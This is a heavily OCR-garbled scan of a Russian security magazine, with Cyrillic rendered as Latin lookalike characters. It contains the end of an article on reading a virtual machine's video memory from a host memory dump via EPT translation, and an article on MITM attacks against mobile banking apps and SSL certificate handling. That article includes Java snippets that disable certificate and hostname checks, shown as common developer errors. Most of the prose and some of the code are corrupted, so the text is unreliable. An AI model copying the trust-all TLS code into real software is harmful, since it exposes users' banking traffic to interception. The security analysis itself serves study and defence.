BeTCTByiOT a6con kdth bi m CMemeHHflM b (J)aPi/ie AaMna, noaTOiviy ocTa/iocb npoHMTaTb bm- 
AeonaMfiTb, KOTopaa TaKxe pacnono>KeHa b cJ)H3MHecKOM aApecHOM npocTpaHCTBe bmp- 
Tya/ibHOM MaiuMHbi VirtualBox v\ MannwTCfl npi/i noMOLAn EPT. 
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KapTa 4>H3HHecKoPi 
naMfiTH fl/ifl BnpTya/ibHOki 
MaujuHbi cyKa3aHneM LFB 
m ero 4)opMaTOM 



I 



3Myn«Topbi ycTpoMCTBa VGA i/icnonb3yiOT xocTOByK) onepaTWBHyio naivmTb a/ih MMMTa- 
u,mm BMAeonaM^TM BMpTya/ibHOM MaujMHbi, a A-n^ HenocpeACTBeHHoro pucoBaHna KapTHH- 



kvi net jNpciri i ifjuo i u i ib(jwumi'i i ic^M'1 ivvji myyru i uujicto i d ui icfjcii udmuki i idivm i v\ ts auo i utsyru 

BMAeonaM^Tb — b tohhoctm iok pa6oTaeT K/iaccMHecKMM a/iropi-iTM abomhom 6yct>epi43a- 
uy\v\, ncno^b3yK)LLi,MMCfl bo MHorux rpacJwHecKwx ABMXKaX. 

LLIar 3. Y3HaeM cJ)M3mhgckmm aApec BHAeonaMHTw A-nn BMpiya/ibHOM Manin- 
Hbi VirtualBox. B A^Mne ero HeT, noaTOMy, HTo6bi ero y3HaTb, AOCTaTOHHO 3anycTMTb 
VirtualBox y ce6a Ha KOMnbiOTepe v\ nocMOTpeTb bo BK/iaAKe pecypcoB BMAeoaAanTepa 
3HaHeHne: 

00:00:02.305353 VRamSize <integer> = 0x0000000001000000 (16 777 216, 16 MB) 

LLIar 4. OnpeAe/ifleM 4)opiviaT v\ pa3Mep Bi/iAeow3o6pa>KeHi/m. B Bi/iAeonaivm™ rpa- 
cJ)MHecKne AaHHbie xpaHHTca b onpeAe/ieHHOM ct>opMaTe, KOTOpbiM cxox c o6bHHbiM 
BMP-cJ)opMaTOM: noc.neAOBaTe.nbHO 6afiTbi RGBXRGBX... Ha KaxAbiM nwKceJib no Tpw i/i/ih 
neTbipe 6a\Aia. Pa3peLueHne aKpaHa i/i 6nTHOCTb y3HaeM M3 Jiora: 

00:01:14,565973 Display :: handleDisplayResize() : uScreenld = 0, pvVRAM=<-» 
065C0000 w=800 h=600 bpp=32 cbLine=0xC80 J flags=0xl 

lilar 5. Tenepb HyxHO HanucaTb nporpaiviMy, KOTopaa npoHmaeT M3 AaMna mnbKO bh- 
AeonaivmTb. Rnn aToro OHa AO/ixHa pa36npaTb Ta6/inu,bi CTpaHi/iu, b 3aAaHHOM Anana30He 
(HanMHaa c c|)M3MHecKoro aApeca 0xE0000000 \a atihhoPi, paBHOM pa3Mepy KapTMHKi/i, — 
800 x 600 x 4). On3MHecKMM aApec cooTBeTCTByeT aApecy Linear Frame Buffer (LFB), 
B3HTOMy M3 pecypcoB BMAeoKapTbi, KOTopbie penopTyKDT PCI- m VBE-pacLunpeHMH. 
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OopMaTbi CTpy KTyp npoi4eccopa M3 ocj)HLi,Ma^bHoro MaHya/ia Intel 



TO, HTO MO)KHO CAE/1 AT b CAM O MY 

no/iHOCTbK) pacciviaTpMBaTb koa nporpaMMbi He 6yAeM, bmgcto aToro cocpeAOTOHMMcn 
Ha ocHOBHbix cJ)yHKij,Mflx. nepBaa ct)yHKu,i/ifl npeo6pa3yeT cJ)M3MHecKMM aApec BwpTya/ib- 
hom ManiMHbi (GPA — Guest Physical Address) b c{)M3MHecKMM aApec xoctobom ci/iCTeMbi 
(HPA — Host Physical Address). 



DWORD TranslateGPA2HPA( DWORD gpa ) 

-{ 

vmxGuestPysicalAddress addr; 

addr. Value = gpa; 

vmxEPTP eptp; 

eptp. Value = EPT_base; 

DW0RD64 pml4_base = (eptp.PML4ShiftedAddr << 12); 
vmxEptPML4Entry pml4_ent; 

pml4_ent .Value = DumpRead64(pml4_base + 8 * addr . eptPML4Entry0ff set); 
DW0RD64 pdpt_base = (pml4_ent . eptPDPTShiftedAddr << 12); 
vmxEptPDPTEntry pdpt_ent; 

pdpt_ent .Value = DumpRead64(pdpt_base + 8 * addr. eptPDPTEntryOff set); 
DW0RD64 pd_base = (pdpt_ent . eptrf PDShiftedAddr << 12); 
vmxEptPDEntry pd_ent; 

pd_ent. Value = DumpRead64(pd_base + 8 * addr. eptPDEntryOff set); 
DW OR D64 pt_base = (pd_ent . eptrf PTShiftedAddr << 1 2); 
vmxEptPTEntry pt_ent; 

pt_ent. Value = DumpRead64(pt_base + 8 * addr .eptPTEntryOff set); 
return (pt_ent .Shifted4KPageAddr << 12) | addr .eptByteOff set; 



C/ieAytoi-uafl 4)yHKu,i/ifl Hi/uaeT 1/13 cf>aPi/ia (KOTOpbiM BbiAaBa/ica b 3aAaHnn) AaHHbie Bi/ipTy- 
a/ibHOM MaiuMHbi, ncnoJib3yfl npeAbiAymyio 4)yHKu,MK). 



void ReadPage(void *data, DWORD gpa) 

I 

DWORD offset = TranslateGPA2HPA(gpa & (~0xFFF)); 

fseek(g_fdump, offset, SEEK_SET) ; 

fread(data, 4096, 1, g_fdump); 



nocjieAH^fl M3 pacciviaTpMBaeMbix ct>yHKu,nPi HMTaeT Bi/iAeonaivmTb BwpTya/ibHoPi MaujMHbi 
m C03AaeT M3 Hee 0a wi BMP c KapTHHKoPi. 



HBITMAP ReadVideoMemory( DWORD width, DWORD height, DWORD bpp ) 

-{ 



char *bmp = (char *)malloc(size) ; 
for (int i = 0; i < s ize; i+=409 6 ) 

I 

ReadPage(bmp + i, 0XE0000000 + i); 

} 

return CreateBitmap (width, height, 1, 32, bmp); 

} 

HTo6bi 6bmo noH^THeM, CAe/iaeM HecKO/ibKO flono/iHMTe/ibHbix no^CHGHMM k koaY- 06"bHB- 
jieHMe CTpyKTyp EPT CAe/iaHO b cooTBe~rcTBi/in c flOKyMeHTauneii npou,eccopa. OyHKUna 
DumpRead64 npocrro HMTaeT AaHHbie M3 0aMJia c AaivinoM. 0yHKu,i/iio CreateBitmap mox- 
ho HaMTM b MHTepHeTe, OHa npocTO flonwcbiBaeT Heo6xoAHMbie 3aronoBKM (b nacTHOCTH, 

BITMAP FILE HEADER) KflaHHbIM KapTMHKM. flaHHbie nO (f)M3MHGCKOMy aflpecy BMpTya/lbHOM 

MaiuMHbi 0XE0000000 (Guest Physical Address = GPA) nonHOCTbio cooTBeTCTByiOT cJ)opiviaTy 
nuKce/iew b BMP (to ecTb RGBRGBRGB...). riocne KOMnmrnm/ii/i 1/1 3anycKa nporpaMMbi no- 
jiynaeM 1/13 (t>aM.na Aarvina KapTUHKy c hckomnm k/ik)hom. 




BoccTaHOB/ieHHaq KapTUHKa c k/ikdhom 
3AKJ1IOHEHME 

Tenepb Tbi noHMMaeiub, b KaKyio Bi/ipTya/ibHyio naymHy npeBpamaiOT onepaTHBHyio na- 
MHTb pa3pa6oTHMKM onepau,MOHHbix CMCTeM m npou,eccopoB. npoaHa^M3npoBaTb naMflTb 
BnpTya/iKM moxho c noMombK) yTM/iMT Volatility Framework m CMAT, ho hto-to m ohm CAe- 



jiaTb He b cmiax, v\ TorAa noivioryT TO/ibKO co6cTBeHHbie 3HaHna 06 ycTpoPicTBe BMfleona 
m^tm n TexHO/iornn BMpTya/iM3ai4,Mn. TaK mjim MHane, nojiyneHne AOCTyna k rocrreBoi/i one 
paU,MOHHOM CMCTeMe M3 XOCTOBOM He T3K c/ioxho, KaK KaxeTca Ha nepBbiM B3rrmA- ^ 



B3JJOM 




J10MAEM 

MOBHJlbHbll/l 

BAHKl/lHf 



B MOEHJlbHOM MHPE 



Yxe BTopoM rofl noflp^fl <r i/iccneflyio 6e3onacHOCTb 

M06M/lbHblX 6aHKOBCKMX l~l p l/IJI 0>KS H l/l Pi fl/lfl pOCCl/ll/ICKMX 

SaHKOB. B tom rofly a co cboi/im Kormeroi/i AjieKcaHflpoM 
Mmhoxghko noMa/i oko/io 40 npmioxeHMM nofl Android 
1/1 iOS, a b 3tom mhg npi/iLu/iocb 3aH^Tbc^ yxe npi/iMepHO 
60 npi/moxeHi/mMi/i ajia KaxflOM OC. KpoMe Bcero npo- 
nero, b otom rofly n peiiM/i npoBepi/iTb TaKoiTi BaxHbii/i 
MOMeHT, KaK 3aLu,i/iTa TpaHcnopTHoro ypoBHfl, .AaHHaa 
npo6/ieMa 3aHMMaeTTpeTbe MecTO b OWASP Mobile 
Security Project — Top Ten Mobile Risks. 

MITM: MOBMJlbHblE OCOBEHHOCTM 

B xofle nccjieAOBaHnq 6bma paccMOTpeHa m oueineHa 3au4MLu,eHHOCTb poccmmckmx MB 
ot aTaKi/i Tuna «HenoBeK nocepeAHHe» (MITM). Bbi6paHa OHa HeonyHawHo: npn kohtpojii/i- 
pOBaHMM KaHana nepeAanw AanHbix MexAy npmioxeHi/ieM Mo6nnbHoro 6aHKMHra h cepBe- 
poM 3/ioyMbiLUjieHHMK MOxeT yKpacTb AeHbrw co cneTa K/iweHTa, to ecTb HaHecTM np^MOM 
cjDHHaHCOBbiki yLuep6. Ho bch MHct>opMai_i 1 nfl aKTyanbHa h A-nfl o6bHHbix npnnoxeHMM — 
npocTO 9\ n\o6n\o zioiviaTb hto noKpMTMHHee :). 

OcHOBHbie cu,eHapnn peajiM3au,MM aTaKM MITM: 

• floAK/iiOHGHMe no/ib30BaTe/ia k noAAe/ibHofi Wi-Fi TOHKe AOdyna. 3to caMbiM pacnpo- 
CTpaHeHHbiM m pea/ibHbiM cu,GHapnM MITM-aTaKn. MoxeT 6biTb jien<o Bocnpon3BeAOH 
b Katye, TOproBOM win 6n3Hec-u,eHTpe. 

• noAKJifoneHkie k noAAO/ibHOM 6a30BOM CTaHunw onepaiopa. 3Ta cxeivia CTaHOBHTca 
Bee 6onee AOCTynHOM A-nfl llmpokhx Mace 6/iaroAapfl 6o/ibLuoMy Bbi6opy annapaTHO- 
ro m nporpaMMHoro oGecneneHUfl v\ ero hm3kom ctommoctm. CwTyauwo hco6xoahmo 
B3flTb noA KOHTpo^b KaK moxho onepaTi/iBHee. 

• Mcno/ib30BaHne 3apaxeHHoro ceTeBoro o6opyAOBaHHH. IIoa 3apaxeHneM ceTeBO- 
ro o6opyAOBaHMfl noHMMaeTca He TO/ibKO ncno/iHeHwe Ha HeM BpeAOHOCHoro KOAa, 
ho m ero u,e/ieHanpaB/ieHHoe 3/iOHaiviepeHHoe nepeKOHcJwrypwpoBaHHe, Hanpniviep 
nepe3 y?i3BMMOCTb. Yxe M3BecTHO Heivia.no npuMepoB pea^M3au,MM noAo6Hbix aiaK. 

Ctoi/it CKa3aTb, hto sto numb HecKO/ibKO cueHapneB M3 ivmoxecTBa B03MOXHbix. TnaBHoe, 

HTO Heo6xOAHMO 3J10yMblLUJieHHI/lKy, — A06l/ITbCfl TOrO, HT06bl ceTeBoPi TpacJ)HK ot xepTBbi 

Ha cepBep wen nepe3 noAKOHTponbHbiM eiviy xoct. 

Cneu,McjDMKa pa6oTbi Mo6nnbHbix ycTpoficTB cWi-Fi-ceTHMki: 

• aBTOMaTMHecKoenoACoeAHHeHMeKM3BecTHbiMWi-Fi-ceTflM(HaocHOBePNL, Preferred 
Network List) 

• He Be3Ae moxho OTKJiK)4i/iTb M/ii/i CKOH(J)nrypi/ipoBaTb KaKMM-nn6o npocTbiM cnoco6oivi; 

• MAeHTM(f)MKaLi 1 M^ ce™ npowcxoAUT Ha ocHOBaHMM SSID (nivieHM ceTn) m HacTpoeK 6e3- 
onacHOCTM; 

• eani/i M3BecTHbix ceTeM HecKonbKO, to Bbi6op noAKJiKDHeHwa y KaxAofi OC cbom. 



ATaKyK)Lu,nPi moxgt pa3BepHyTb co6cTBGHHyfo Wi-Fi-ceTb, no/iHOCTbio MAeHTi/iHHyio H3- 
BecTHOM ceTM Arm Mo6mibHoro ycTpowcTBa. B pe3y/ibTaTe vctpomctbo aBTOMaTunecKM 
noACoeflMHMTCJi k T3K0M TOHKe AOCTyna m 6yfleT pa6oTaTb nepe3 Hee. 

Taicafl cxeivia m OTcyrcTBHe npodoro ynpaB/ieHkia AOBepeHHbiMM ceTHMH ynpomaeT 
pea^M3au,MK) MITM A-na 3/ioyMbiLu/ieHHMKa. 

Bo3MOXHbie noc^eACTBM^ MITM: 

Kpaxa AeHexHbix cpeACTB co cneTOB K/ineHTa; 

pacKpbune MH(J)opMai4MM o cneiax K/iMGHTa v\ ero npoLunbix onepau,i/mx; 
npocMOTp flaHHbix o TeKymePi onepau,nn K/ineHTa; 

• OTK33 B 06c/iy>KMBaHMM KJIMGHTa. 
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UenoHKa 5SL-cepTnc|3MKaTOB 



3ALUMTA KAHAJ1A 

riepeA tgm KaK zioiviaTb, AaBaw m3vhi/im to, hto HaM MOxeT noMemaTb 3to CAe/iaTb. 

rioA 3aLu,nLu,eHHbiM KaHanoM 6yAeM noHMMaTb xaHa/i, b kotopom A-na o6ecneHeHi/m 
nepeAanu ashhux ncnonb3yeTca innc^pOBaHne m KOHTpo/ib u,enocTHOCTM. Ho He ctoi/it 
3a6biBaTb, hto He Bee Kpi/inTorpact>i/iHecKi/ie anropMTMbi ocTaKrrcfl ctomkmmm h He Bcer- 
Aa nprnvieHeHMe KpnnTorpa4)HM nponcxoAHT KoppeKTHO. 

KaHa/ibi moxho pa3Ae/iMTb Ha Tpn ocHOBHbie rpynnbi: 

• OTKpbiTbie. Haxoflficb b oahom ce™ c xepTBoPi, 3/ioyMbiLu/ieHHi/iK bmaht Bee kjw- 

eHT-CepBepHOe B3aMM0AeMCTBMe B OTKpblTOM BMAe. 

• 3amnujieHHbie HecTaHflapTHbiMM MeTOflaMii. KaK noKa3biBaeT Hama npaKTi/iKa, sto 
He nyHLuee peiueHMe: oho npuBOAUT k p^Ay olum6ok, KOTopbie BeAyT k KOMnpoMeTa- 
u,mm nepeAaBaeivibix AaHHbix. 

• 3au4MmeHHbie era has pth bi m m MeTOAaiviH. CaMbM pacnpocTpaHeHHbiM BapnaHT — 
SSL/TLS. 



/J/m o6ecneHeHMH pa6oTOcnoco6HOCTM ashhom cxeMbi Ha ycipoMCTBe HaxoAHTca mho- 
ro KopineBbix cepTncJ)MKaTOB (CA), KOTopbie xpaHATca b cneui/ianbHOM xpaHmiMLu,e AOBe- 
peHHbix KOpHeBbix cepTwcjDHKaTOB, h Bee, hto mmh noAnwcaHO, HB/lfleTCfl AOBepeHHbIM 
A-n^ ydpoMCTBa. 

ripoBepKa cepTncJ)MKaTOB ma6t no u,enoHKe: ot npwanaHHoro Ha ycTpoMCTBO ao Kop- 
HeBoro (CA), KOTOpOMy AOBep^eT ycTpoMCTBO. 3aTeM MAyT npOBepKM MMeHi/i xocia, oto- 
3BaHHOCTM i/i TaK Aa/iee. J2,anbHe\/\ui\Ae npoBepKM MoryT pa3JiMHaTbcsi b 3aBMCMMOCTM 
ot pea^M3au,MM 6n6.ni/iOTeKi/i, OC m TOMy noAo6Horo. 

CepTi/icJ)HKaTbi pa3Ae/i«K)TC^ Ha cucTeMHbie (npeAycTaHOB/ieHbi b cucTeiviy) v\ no/ib30- 



@ 

WARNING 

MH(J)opMauMfl npeAO- 
CTaBJieHa MciaiioHMTejib- 

HO B 03HaK0MMTe/lbHblX 

u,ennx. Hm peAaKUMH, 
h i/i aBTOp He HecyT OTBeT- 

CTBGHHOCTH 3a/lK)60M 
B03M0>KHbM Bpefl, npM- 

HMHeHHbm Maiepna/iaMM 

fl3HH0M CTaTbM. 

SSL II ANDROID 

B OC Android ao Bepcuw 4.0 Bee cepTMct)HKaTbi xpaHHJii/icb b cahhom <$>av\ne — Bouncy 
Castle Keystore File (/system/etc/security/cacerts . bks) . 

M3MeHMTb ero 6e3 root-npnBnnernM 6bino HeB03MO>KHO, m OC He npeAOCTaB.rm.na hh- 
KaKnx cnoco6oB ero MOAnct)MKau,m/i. JlK)6oe n3MeHeHne cepTi/icJ)HKaTa (Ao6aB/ieHne, ot- 
3biB) Tpe6oBano o6HOB/ieHMfl OC. 

HaHMHafi c Bepcun Android 4.0 noAxoA k pa6oTe c cepTMcf)MKaTaMM i/i3MeHnncfl. Te- 
nepb Bee cepTMcjDi/iKaTbi xpaHHTca OTAe/ibHbiMM c^aM/iaMM, n npw Heo6xoAHMOCTM moxho 
yAa/isiTb mx M3 AOBepeHHbix. CucTeMHbie xpaHHTca b /system/etc/security/cacerts. 
f1o^b30BaTe^bCKMe xpaHfrrca b /data/misc/keychain/cacerts-added. 

fl/ifl npocMOTpacepTMc})MKaTOB bOC Android Heo6xoAHM03aMTM b MeHK) «HacTpoPiKM — > 
5e3onacHOCTb — > HaAexHbie cepTncJ)i/i KaTbi (Settings — > Security — > Trusted credentials)». 

Ko/innecTBO cucTeMHbix cepTnc()MKaTOB b pa3JiMHHbix Bepci/mx Android: 



BaTe^bCKne (ycTaHOB/ieHbi no/ib30BaTe/ieM). 




• Android 4.0.3: 134; 

• Android 4.2.2: 140; 

• Android 4.4.2: 150. 

Ko/lMHeCTBO CepTMCj)MKaTOB TaK>Ke MOXeT MeHflTbCfl OT npOM3BOAHTe/13 K npOM3BOAHTe- 
J1KD M A-Tlfl KaXAOM MOAG/1M yCTpOMCTBa. 

fl/m ycTaHOBKM no/ib30BaTe/ibCKoro cepTH(J)HKaTa b OC Android Heo6xoAHMO 3arpy- 

31/ITb KOpHeBOM CepTMC^MKaT Ha SD-KapTy M 33MTM B MeHKD «HaCTpOMKM —> 5e30naCHOCTb 

— > YcTaHOBHTb c KapTbi naivim-n» v\nv\ nepe3 MDM (DevicePolicyManager) b Android Hani/i- 

Hafl C BGpCMM 4.4. 3aCTaBMTb nO/lb30BaTeJ151 yCTaHOBMTb CepTMCt)MKaT C nOMOLUbK) COI4M- 

anbHOM MHXGHepni/i moxho, ho He oneHb npocTO. 
SSL M IOS 

B OC iOS nocMOTpeTb BCTpoeHHbie cepTncj)MKaTbi Henb3fl, h nonyHMTb L/iHc^opMauHKD o hi/ix 
moxho TO^bKO c caHTa KOMnaHHH Apple . A-n^ npocMOTpa nonb30BaTe.nbCKnx cepTHcjDMKa- 

TOB Heo6xOAHMO 3aMTM B MeHKD «HaCTpoPlKM — > OCHOBHbie — » npOCj)M/lb(M)». 

CucTeMHbie xpaH^Tca b /System/Library/Frameworks/Security .framework/ 
certsTable . data. llo.nb30BaTe.nbCKne xpaHHTca b /private/var/Keychains/ 
TrustStore. sqlite3. 

KOJIMHeCTBO CMCTeMHblX CepTI/1Ct>HKaTOB B pa3JlU1HHblX BepCUIflX iOS (MOXeT 06H0B^3TbC^): 

• iOS5:183; 

• iOS6:183; 

• iOS 7: 211 . 

B OC iOS cymecTByeT HecKOJibKO nyTew ycTaHOBKM nonb30BaTe.nbCKnx cepTwcJwKaTOB: 

• nepe3 6pay3ep Safari — Heo6xoAHMO 33mtm no ccbi/iKe, Ha kotopom ziexHT cep™ct>n- 
KaT c pacuiMpeHMeM pern mjim npo<t>mib KOHct)Mrypau,MM c pacLUMpeHi/ieM profile; 

• nepe3 npuicoeAHHeHMe cepTM(J)MKaTa k email; 

• nepe3 MDM API. 

Bmaho, hto npoBecTM ycTaHOBKy no/ib30BaTe/ibCKoro cepTucfjuKaTa nepe3 cou,na/ibHyK) 
MHxeHepMK) Ha iOS HaMHoro npome, HeM Ha Android. 

Bo3MO>KHbie BeKTopbi ycTaHOBKM cepTnc|)MKaTOB nepe3 cou,na^bHyK) MHxeHepMK): 

1 . nojib30BaTe.nb Ae/iaeT Bee caM i/i3-3a HeocBeAOM/ieHHOCTn. 

2. npno6peTaeTca noAepxaHHbiM TenecfJOH co BCTpoeHHbiM BpeAOHOCHbiM cepTi/ic|)HKa- 

TOM. 

3. CepTMcj)HKaT ycTaHaB/iMBaeTca Ha Te/iec})OH c iOS 3a HecKO/ibKO ceKyHA, ecrin tot OKa- 
3biBaeTC^ cnynaMHO b pyKax 3noyMbiuj^eHHMKa (HanpMMep, oh nonpocmi no3BOHHTb). 

4. CepTnc|)MKaT ycTaHaBjiMBaeTca npuHyAMTeribHO A-nfl AOCTyna k 6ecn^aTHOM TOHKe Wi-Fi. 

5. CeTeBoe o6opyAOBaHne c «xopolumm» cepTMcjDMKaTOM b APyrow CTpaHe — TyT NSA 
n Bee Ae/ia. ripn npocMOTpe cucTeMHbix cepTwcJwKaTOB 6bmn 3aMeneHbi cepTnc{)MKa- 
Tbi ot cneu,cny>K6 Ki/iTaa n Ais/iepuKM. Hawi/ix TaM HeT :(. 

VULNS, BUGS, ERRORS... 

B ashhom pa3Aene Mbi paccMOTpuM, KaKne npo6neMbi cymecTByioT npi/i B3anMOAeM- 
ctbmm MexAy K/ii/ieHTCKMM np wioxeHweM (b HaiueM cnynae npwioxeHweM Ana Mo6mib- 
Horo 6aHKHHra) l/i ceoBeooM. 



Bee npuiMepbi, npuBeAeHHbie 3Aecb, pea/ibHbi, AaHHyio nH(})opMaiJ,Mio Mbi no/iynnm/i 
bo BpeMfl ayflMTOB 3amnu40HHOc™ npi/i/ioxeHMM A-n^ Mo6njibHoro 6aHKi/iHi~a. 

OTcyTCTBue HTTPS (SSL) 

KaK 6bi yAMBMTe/ibHO 3to hm 3Byna.nO, eiu,e i~oa Ha3aA Mbi BCTpena/iM npi/uioxeHHH mo- 
6n/ibHoro 6aHKMHra, b KOTopbix Bee o6meHi/ie, BK/iKDHan cJ)HHaHCOBbie onepau.nn, nponc- 
xoAH-no no HTTP-npoTOKO/iy: ayTeHTncfoMKau,i/m, AaHHbie o nepeBOAax — Bee pa6oTano v\ 
nepeAaBa/iocb b OTKpbiTOM bmao. 3to 3HaHMT, hto 3/ioyMbiLLi.neHHMKy ajih nonyneHHfl dpw- 
HaHCOBOM BbiroAbi Heo6xoAHMO 6bmo npocTO HaxoAHTbca c xepTBOM b oahom ce™ m 06- 
naAaTb MMHMMa/ibHOM KBa/incJ)MKaLi,MeM. TorAa A-n^ ycneiuHOM aiaKM 6bmo AOCTaTOHHO mc- 
npaB/i^Tb HOMepa cneTOB Ha3HaHeHM^ m, npi/i xe/iaHwn, cyMMbi. 

Hto KacaeTca B3aMM0AeMCTBMfl npi/i/ioxeHHH co ctopohhmmm cepBwcaMn, no cpaBHe- 
hi/ikd c npoLu/ibiM i~oaom ci/iTyau,n?i CTana HeMHoro jiyHLue, ho no-npexHeiviy 6onbLUMHCTBO 
M3 hmx xoaut 3a Aono/iHUTe/ibHOM MHc|)opMaLi 1 neM A-nfl CBoero cJ)yHKu,noHMpOBaHHR no OT- 
KpbiTOMy KaHa/iy, Ha KOTopbiM nerKO MOxeT B/inaTb 3/ioyMbiLu/ieHHMK. KaK npaBi/mo, 3Ta 
MHcJjopMauna CB^3aHa: 

• c HOBOC~raMM 6aHKa; 

• c pacnojioxeHneM 6aHK0MaT0B; 

• c KypcoM Ba/iiOT; 

• C COU,HanbHblMM ceT^MM; 

• co CTaTMCTMKOM nporpaMMbi a/i^ pa3pa6oTHMKOB; 

• c peK/iaMOM. 



B jiyHLueM cnyHae 3/ioyMbiLu^eHHMK MOxeT npocTO Ae3MHcJ)opMMpoBaTb xepTBy, a b xyA- 

LUGM — BHeAPHTb C06CTBeHHblM KOA, KOTOpblPl BbinOJlHMTCfl Ha yCTpOMCTBe XepTBbl, 

hto b Aa-nbHewLueM noivioxeT noxnTMTb ayTeHTM0MKau,MOHHbie AaHHbie hjih Aenbrn. ripu- 
HMHa b tom, hto OCAndroid no3BormeT noArpyxaTb koah3 MHTepHeTa, a3aTeM BbinojiHATb 
ero. TaKOM koa 3/ioyMbiLuneHHMK MOxeT npw onpeAO/ieHHbix o6cTom~ejibCTBax BHeApnTb 
b OTKpbiTbiM KaHan. 

Co6cTeeHHoe ujndppoBaHne 

AaHHbiM BapwaHT HaM TaKxe BCTpenanca KaK Ha npaKTWKe, TaK m b npouecce wccneAOBa- 
hhh. Mcnonb30BaHne ero HaM HenoHmno, ho, no HawuM npeAnonoxeHi/iHM, oho MOxeT 

6blTb CB^3aH0 C yCTOfl BLUM MUCH BHyTpeHHMMM npOLLeCCaMM 6aHKa. ripM 3T0M Tpa<t>HK B SSL 

Aono/iHMTe/ibHo pa3pa6oTHMKOM He 3aBopaHMBaeTCH. 

KaK noKa3biBaeT Haiua npaKTi/iKa, ncno/ib30BaHne co6cTBeHHoro LunchpoBaHi/ifl ao ao- 
6pa He aoboaht. nopOM 3to A^>Ke He liincjDpOBaHMe, a npocTO cbom 6nHapHbiM npOTOKon, 

KOTOpbIM Ha nepBblM B3IVmA KaxeTCFI HenOHflTHblM, 3aLUM(bpOBaHHblM. 



Version 


Codename 


API 


Distribution 


2.2 


Froyo 


8 


1,0% 


2.3.3-2.3.7 


Gingerbread 


10 


16,2% 


3.2 


Honeycomb 


13 


0,1% 


4.0.3-4.0.4 


Ice Cream Sandwich 


15 


13,4% 



PacnpeAeneHne BepcuPi Android 
(Ha 1 Man 2014 roAa) 



Jelly Bean 



KitKat 
r- Froyo 



J 




Gingerbread 



4.1. x Jelly Bean 16 33i5 o /o 

4.2. x 17 18,8% 

4.3 18 8,5% 

4.4 KitKat 19 8,5% 



HeKoppeKTHoe ncnojib30BaHne SSL 

CaMbiM pacnpocTpaHeHHbiM K/iacc olum6ok — sto HeKoppeKTHoe i/icno/ib30BaHH6 SSL. 

Hame Bcero oho CBH3aHO co cne,o 1 yK)LLJ,MMn npMHMHaMM: 

HeBHMMaTe/ibHOCTb pa3pa6oTHMKa. B npouecce pa3pa6oTKi/i ncnojib3y6TCfl pa3/iMH- 
HbiM koa A-na ycKopeHnsq npouecca TGcmpoBaHna. V\ nepeA BbinycKOM nporpaMMbi 

npO 3T0T KOA 3a6blBaK)T. 

• OTcyTCTBue tgctobom MHcf)pacTpyKTypbi y 3aKa3HMKa. AanHbiPi nyHKT nacTUHHO cbh- 
3aH c npeAbiAymuM m npHBOAUT KTOiviy, hto pa3pa6oTHMKaM npuxoAHTca math Ha p?ia 

yXMLUpGHMM J2H9\ npOBGpKM KOppGKTHOCTM pa60Tbl npHJlOKGHMfl. 

• Mcno/ib30BaHMG y«3BMMbix c|)pgmmbopkob. HacTO j2j]9\ ynpomGHWH pa3pa6oTHMKn npn- 

MGHflNDT pa3/lMHHblG Cf)pGMMBOpKM. flpyrMMM CJlOBaMH, MCnO/lb3yK)T HyXOM KOA, HM3- 

KoypOBHGBaa nacTb KOTOporo hgpgako CKpbua m HGAOCTyrma. 3tot koat3k>kg coagp- 
>kmt yq3BMMOCTM, o hgm pa3pa6oTHMK nopofi AaxG HG AoraAbiBaGTca. Oco6ghho 3T0 

aKTya/lbHO B CBGTG aKTI/IBHOM KpOCC-n/iaTC|)OpMGHHOM pa3pa60TKM A^H M06wibHblX 
yCTpOMCTB. 

• Olui/i6kh pa3pa6oTHMKa. Pa3pa6oTHHK moxgt i/icno/ib30BaTb pa3/iMHHbiG 6h6jihotg- 
ki/i Rnn pa6oTbi c SSL, KaxAaa mmggt cbokd cnGuncJwKy, n gg HyxHO yHHTbiBaTb. TaK, 
npn nGpGxoAG c 6m6^motgkm Ha 6n6^noTGKy pa3pa6oTHMK moxgt HGnpaBM/ibHO Bbi- 

CTaBMTb KOHCTaHTy npM MHMU,MaJ1M3aU,MH MJ1H nGpGOnpGAG/lMTb 4>yHKU I MKD Ha CBOK). 

OcHOBHbiG oluh6km ripn pa6oTG c SSL: 

• OTKJ1KDHGHMG npOBGpOK (OTJiaAOHHbIM API); 

HGKOppGKTHOG IIGpGOnpGAG/lGHl/IG CTaHAapTHblX 06pa60THMK0B Ha C06CTBGHHblG; 

• HGnpaBMnbHa^ KOHcfH/irypauHH API-Bbi30BOB; 

• c/ia6biG napaMGTpbi Luw(J)poBaHHfl; 

• Mcno/ib30BaHMG y^3BHMOM BGpCMM 6m6/imotgkm; 
HGnpaBM/ibHafi o6pa6oTKa pG3y/i bTaTO b Bbi30BOB; 

• OTcyTCTBMG npoBGpKM Ha hmji xocTa M/iM ncno/ib30BaHHG HGnpaBM/ibHbix pcryjiapHbix 

BblpaXGHMM RHtt npOBGpKH. 

BG30rOBOpOHHa51 K/iaCCMKa OTK/lKDHGHMfl npOBGpKM AGMCTBMTGJlbHOCTM CGpTM(J)MKaTa! 

public MySSLSocketFactory (KeyStore truststore) 
throws NoSuchAlgonithmExceptiorij *-> 
KeyManagementExceptiorij KeyStoreException, *=> 
UnrecoverableKeyException { 

super (trust store ) ; 

th is . sslContext = SSLContext 
eetlnstanceC'TLS"): 




(— Honey- 
comb 

Ice Cream 
Sandwich 




this.sslContext.init (null, 



new TrustManager[ ] {new X509TrustManager( ) { 
public void checkClientTrusted^ 



(X509Certificate[] chain, String <-■ 
authType) throws CertificateException 
{ 



-1 

public void checkServerTrusted*-" 

(X509Certificate[] chain, String *-> 

authType) throws CertificateException 

-t- 



} 



public X509Certificate[] 
getAcceptedIssuers() { 
return null; 



i 



}}, null); 



} 



5e3oroBopoHHafl K/iaccuKa OTKnioHeHi/m npoBepKM MMeHM xo- 
da b cepTM(J)MKaTe! 



HostnameVerifier allHostsValid = 
new HostnameVerifier ( ) { 



public boolean verify(String . 
hostname, SSLSession session) 

{ 



return true; 



} 



Cnacn6o Eropy Kap6y- 
TOBy, HBaHyHa^biKMHy, 

Hmkhtg Ke/iecncy 
3a noMOiMb npn 3Hajin3e 
TaKoroorpoMHoro ko- 
jiMHecTBa nporpaMMl- 
MaTepiia/iaMM flaw-iow 

CT3TbM. 
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research/a security 
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KoMripoMeTauiMfi KopHesoro cepTii<J)MKaTa 

npM MCnO/lb30BaHMM SSL CyLU,eCTByeT 3aBMCMMOCTb OT KOpHGBblX CepTMCj)MKaTOB. He/ib- 

39\ MCK/ifonaTb B03MO>KHOCTb mx KOMnpoMeTau.nn — BcnoMHMM, k npwMepy, nocjieflHHe 
